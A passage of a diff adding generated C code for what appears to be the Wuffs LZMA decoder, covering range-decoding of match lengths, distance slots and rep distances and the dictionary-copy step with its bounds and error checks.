0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } else { ++ } ++ do { ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao20[v_state])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao20[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } else { ++ } ++ do { ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_low[0u][0u])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_low[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); ++ v_tree_node = 1u; ++ while (v_tree_node < 8u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_low[v_index_len][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len_state = ((uint32_t)(WUFFS_LZMA__CLAMP_NO_MORE_THAN_3[(v_tree_node & 7u)])); ++ v_len = ((v_tree_node & 7u) + 2u); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_low[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_mid[0u][0u])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_mid[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); ++ v_tree_node = 1u; ++ while (v_tree_node < 8u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_mid[v_index_len][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 7u) + 10u); ++ v_len_state = 3u; ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_mid[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_tree_node = 1u; ++ while (v_tree_node < 256u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_high[0u][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 255u) + 18u); ++ v_len_state = 3u; ++ } while (0); ++ v_slot = 1u; ++ while (v_slot < 64u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_slot[v_len_state][v_slot])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_slot[v_len_state][v_slot] = ((uint16_t)(v_prob)); ++ v_slot = (v_slot << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_slot[v_len_state][v_slot] = ((uint16_t)(v_prob)); ++ v_slot = ((v_slot << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_slot &= 63u; ++ v_rep = v_slot; ++ if (v_slot < 4u) { ++ } else if (v_slot < 14u) { ++ v_num_extra_bits = ((v_slot >> 1u) - 1u); ++ v_rep = ((2u | (v_slot & 1u)) << v_num_extra_bits); ++ v_index_small_dist_base = ((uint32_t)(v_rep - v_slot)); ++ v_index_small_dist_extra = 1u; ++ v_dist_extra_bits = 0u; ++ v_i = 0u; ++ while (v_i < v_num_extra_bits) { ++ v_index_small_dist = (((uint32_t)(v_index_small_dist_base + v_index_small_dist_extra)) & 127u); ++ v_prob = ((uint32_t)(self->private_data.f_probs_small_dist[v_index_small_dist])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_small_dist[v_index_small_dist] = ((uint16_t)(v_prob)); ++ v_index_small_dist_extra = ((uint32_t)(v_index_small_dist_extra << 1u)); ++ v_i += 1u; ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_small_dist[v_index_small_dist] = ((uint16_t)(v_prob)); ++ v_index_small_dist_extra = (((uint32_t)(v_index_small_dist_extra << 1u)) | 1u); ++ v_dist_extra_bits |= (((uint32_t)(1u)) << v_i); ++ v_i += 1u; ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_rep += v_dist_extra_bits; ++ } else { ++ v_num_extra_bits = ((v_slot >> 1u) - 1u); ++ v_rep = ((2u | (v_slot & 1u)) << v_num_extra_bits); ++ v_dist_extra_bits = 0u; ++ while (true) { ++ v_range >>= 1u; ++ v_bits -= v_range; ++ v_high_bit_was_on = ((uint32_t)(0u - (v_bits >> 31u))); ++ v_bits += (v_range & v_high_bit_was_on); ++ v_dist_extra_bits = (((uint32_t)(v_dist_extra_bits << 1u)) | (((uint32_t)(v_high_bit_was_on + 1u)) & 1u)); ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_num_extra_bits -= 1u; ++ if (v_num_extra_bits <= 4u) { ++ break; ++ } ++ } ++ v_dist_extra_bits <<= 4u; ++ v_index_large_dist = 1u; ++ while (true) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_large_dist[v_index_large_dist])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_large_dist[v_index_large_dist] = ((uint16_t)(v_prob)); ++ v_index_large_dist = (15u & ((uint32_t)(v_index_large_dist << 1u))); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_large_dist[v_index_large_dist] = ((uint16_t)(v_prob)); ++ v_index_large_dist = (15u & (((uint32_t)(v_index_large_dist << 1u)) | 1u)); ++ v_dist_extra_bits |= (((uint32_t)(1u)) << (4u - v_num_extra_bits)); ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_num_extra_bits -= 1u; ++ if (v_num_extra_bits <= 0u) { ++ break; ++ } ++ } ++ v_rep += v_dist_extra_bits; ++ } ++ if (v_rep >= 4294967295u) { ++ self->private_impl.f_end_of_chunk = true; ++ goto label__outer__break; ++ } ++ v_rep3 = v_rep2; ++ v_rep2 = v_rep1; ++ v_rep1 = v_rep0; ++ v_rep0 = v_rep; ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_MATCH[v_state])); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao20[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } else { ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao40[v_state])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao40[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } else { ++ } ++ v_index_ao41 = ((v_state << 4u) | ((uint32_t)((v_pos & v_pb_mask)))); ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao41[v_index_ao41])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao41[v_index_ao41] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_len = 1u; ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_SHORTREP[v_state])); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao41[v_index_ao41] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao40[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } else { ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao60[v_state])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao60[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_reptmp = v_rep1; ++ v_rep1 = v_rep0; ++ v_rep0 = v_reptmp; ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao60[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } else { ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao63[v_state])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao63[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_reptmp = v_rep2; ++ v_rep2 = v_rep1; ++ v_rep1 = v_rep0; ++ v_rep0 = v_reptmp; ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao63[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_reptmp = v_rep3; ++ v_rep3 = v_rep2; ++ v_rep2 = v_rep1; ++ v_rep1 = v_rep0; ++ v_rep0 = v_reptmp; ++ } ++ } ++ } ++ do { ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_low[0u][0u])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_low[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); ++ v_tree_node = 1u; ++ while (v_tree_node < 8u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_low[v_index_len][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 7u) + 2u); ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LONGREP[v_state])); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_low[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_mid[0u][0u])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_mid[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); ++ v_tree_node = 1u; ++ while (v_tree_node < 8u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_mid[v_index_len][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 7u) + 10u); ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LONGREP[v_state])); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_mid[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_tree_node = 1u; ++ while (v_tree_node < 256u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_high[0u][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 255u) + 18u); ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LONGREP[v_state])); ++ } while (0); ++ } while (0); ++ v_dist = (v_rep0 + 1u); ++ if ((((uint64_t)(v_dist)) > v_pos) || (((uint64_t)(v_dist)) > ((uint64_t)(self->private_impl.f_dict_size)))) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_distance); ++ goto exit; ++ } ++ v_pos += ((uint64_t)(v_len)); ++ if (((uint64_t)(v_dist)) > ((uint64_t)(iop_a_dst - io0_a_dst))) { ++ v_adj_dist = ((uint32_t)((((uint64_t)(v_dist)) - ((uint64_t)(iop_a_dst - io0_a_dst))))); ++ if (v_adj_dist > self->private_impl.f_dict_seen) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_distance); ++ goto exit; ++ } ++ v_wb_index = ((uint64_t)(((uint64_t)(self->private_impl.f_dict_workbuf_index)) - ((uint64_t)(v_adj_dist)))); ++ while (v_wb_index >= 9223372036854775808u) { ++ v_wb_index += ((uint64_t)(self->private_impl.f_dict_size)); ++ } ++ if (v_wb_index >= ((uint64_t)(a_workbuf.len))) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ if (v_len < v_adj_dist) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,(v_len + 1u), wuffs_base__slice_u8__subslice_i(a_workbuf, v_wb_index)); ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ v_match_byte = ((uint32_t)(iop_a_dst[-1])); ++ iop_a_dst--; ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ v_prev_byte = iop_a_dst[-1]; ++ continue; ++ } else if (v_len == v_adj_dist) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,v_len, wuffs_base__slice_u8__subslice_i(a_workbuf, v_wb_index)); ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history( ++ &iop_a_dst, io0_a_dst, io2_a_dst, 1u, v_dist); ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ v_match_byte = ((uint32_t)(iop_a_dst[-1])); ++ iop_a_dst--; ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ v_prev_byte = iop_a_dst[-1]; ++ continue; ++ } ++ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,v_adj_dist, wuffs_base__slice_u8__subslice_i(a_workbuf, v_wb_index)); ++ v_len -= v_adj_dist; ++ if ((((uint64_t)(v_len)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_len + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)(v_dist)) > ((uint64_t)(iop_a_dst - io0_a_dst)))) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ } ++ if (v_dist >= 8u) { ++ v_match_cusp = wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast_return_cusp( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_len, v_dist); ++ v_match_byte = (v_match_cusp >> 8u); ++ v_prev_byte = ((uint8_t)(v_match_cusp)); ++ } else { ++ v_match_cusp = 